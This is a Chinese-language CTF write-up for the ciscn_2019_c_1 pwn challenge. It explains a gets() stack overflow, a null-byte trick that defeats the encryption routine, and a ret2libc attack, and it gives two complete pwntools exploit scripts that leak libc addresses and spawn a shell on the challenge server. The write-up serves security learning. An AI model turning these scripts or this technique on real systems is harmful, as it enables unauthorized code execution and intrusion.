ciscn_2019_c_1(型別:ret2libc)
和之前做的題目不太一樣,這是一道Return2libc的題目,有很多問題還是不太懂,這裡做一個記錄。
首先進入到題目環境裡面,看看程式大概功能,這樣方便了解程式。
有三個功能選項,只有選項1才有具體的作用,會對輸入進行加密,加密輸出之後繼續返回到程式
用IDA分析程式
checksec檢視一下,開啟了NX
先看到主函式,彙編程式碼的大致意思也就是選項處輸入1就可以進入到encrypt
函式,下面給出主函式虛擬碼,輸入的是v4,如果v4=1 呼叫encrypt
函式
進入到encrypt
分析
這裡發現了gets
函式,這裡並沒有限制長度,可能存在棧溢位,但是這裡的輸入會經過下面對字元的加密處理,必然會破壞我們的構造的payload,不過這裡可以繞過,只要讓strlen(s)小於自增的x
,我們可以讓strlen(s)的長度為0,也就是讓字串的第一個字元為"\x00"
,那樣strlen函式讀取到第一個字串就會終止。
我們已經可以知道了如何實現溢位了,但是沒有找到後門函式,也不知道libc的版本,這裡就只能使用Return2libc
的方法
當函式呼叫棧沒有執行許可權時,就不能執行我們自己寫入的shellcode,就利用程式裡或系統裡的函式,libc動態連結庫中通常就有需要的函式,如system()
參考文章 1 2 3
所以首先要通過溢位來找到libc的版本,這裡可以線上搜,也可以使用LibcSearcher
,線上搜的網址https://libc.blukat.me/
,然後通過得到的libc版本找到system函式的地址,特別注意到題目是部署在Ubuntu18上的,因此呼叫system需要棧對齊
,這裡填充ret來對齊,這ret地址可以隨意找一個返回地址
from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node3.buuoj.cn" , 27729)
elf = ELF("./ciscn_2019_c_1")
puts_plt =elf.plt["puts"]
puts_got= elf.got["puts"]
pop_rid_ret = 0x400c83 #×64程式基本都存在的一個地址pop rdi;ret
main_addr = 0x400b28
io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')
payload1 = b"\x00" + b"A"*(80 - 1 + 8) + p64(pop_rid_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.recvuntil("Input your Plaintext to be encrypted")
io.sendline(payload1)
io.recvuntil('Ciphertext\n')
io.recvline()
puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
print("------------------->",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
sys_libc = libc.dump('system')
bin_sh_libc = libc.dump('str_bin_sh')
puts_libc = libc.dump('puts')
ret = 0x4006B9
sys_addr = puts_addr + (sys_libc - puts_libc)
bin_addr = puts_addr + (bin_sh_libc - puts_libc)
io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')
io.recvuntil("Input your Plaintext to be encrypted")
payload2 = b"\x00" + b"A"*(80 - 1 + 8) + p64(ret) + p64(pop_rid_ret) + p64(bin_addr) + p64(sys_addr) + b'A'*8
io.sendline(payload2)
io.interactive()
這裡再給一個exp
from pwn import *
from LibcSearcher import *
#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')
start = 0x400B28
rdi_addr = 0x0000000000400c83
puts_plt = e.plt['puts']
gets_got = e.got['gets']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
p.sendlineafter('choice!\n', '1')
payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)
p.sendline(payload1)
p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))
libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
p.sendlineafter('choice!\n', '1')
payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()
放一篇文章
相關文章
- 【PWN】Ret2libc
- pwn學習-ret2libc
- TS資料型別:型別別名/聯合型別/字面量型別/型別推論等綱要資料型別
- 淺談程式語言型別的強型別,弱型別,動態型別,靜態型別型別
- javascript基本型別 引用型別 基本包裝型別JavaScript型別
- C#的型別——值型別與引用型別C#型別
- 值型別和引用型別型別
- JavaScript引用型別-Object型別JavaScript型別Object
- mysql BLOB型別 TEXT型別MySql型別
- 值型別與引用型別型別
- js基本型別和引用型別區別JS型別
- 值型別與引用型別的區別型別
- JAVA 基本型別與 引用型別區別Java型別
- typeScript 型別斷言、聯合型別和交叉型別(七)TypeScript型別
- JavaScript值型別和引用型別JavaScript型別
- c#:值型別&引用型別C#型別
- ECMAScript 原始型別與引用型別型別
- [譯] Scala 型別的型別(四)型別
- [譯] Scala 型別的型別(二)型別
- [譯] Scala 型別的型別(三)型別
- [譯] Scala 型別的型別(六)型別
- [譯] Scala 型別的型別(五)型別
- Date型別和Regex型別型別
- 匿名型別是不是強型別?型別
- Swift值型別和引用型別Swift型別
- 型別預設和any型別型別
- 資料型別,型別轉換資料型別
- C#變數型別(1):引用型別和值型別 (轉)變數型別
- 型別 VS 泛型型別泛型
- TypeScript 泛型型別TypeScript泛型型別
- JavaScript - 基本型別與引用型別值JavaScript型別
- Java的基本型別和引用型別Java型別
- 基本資料型別與字串型別資料型別字串
- LONG型別遷移到LOB型別(三)型別
- LONG型別遷移到LOB型別(二)型別
- LONG型別遷移到LOB型別(一)型別
- js基本語法之 值型別(資料型別)(變數型別)JS資料型別變數
- c#中值型別和引用型別的區別C#型別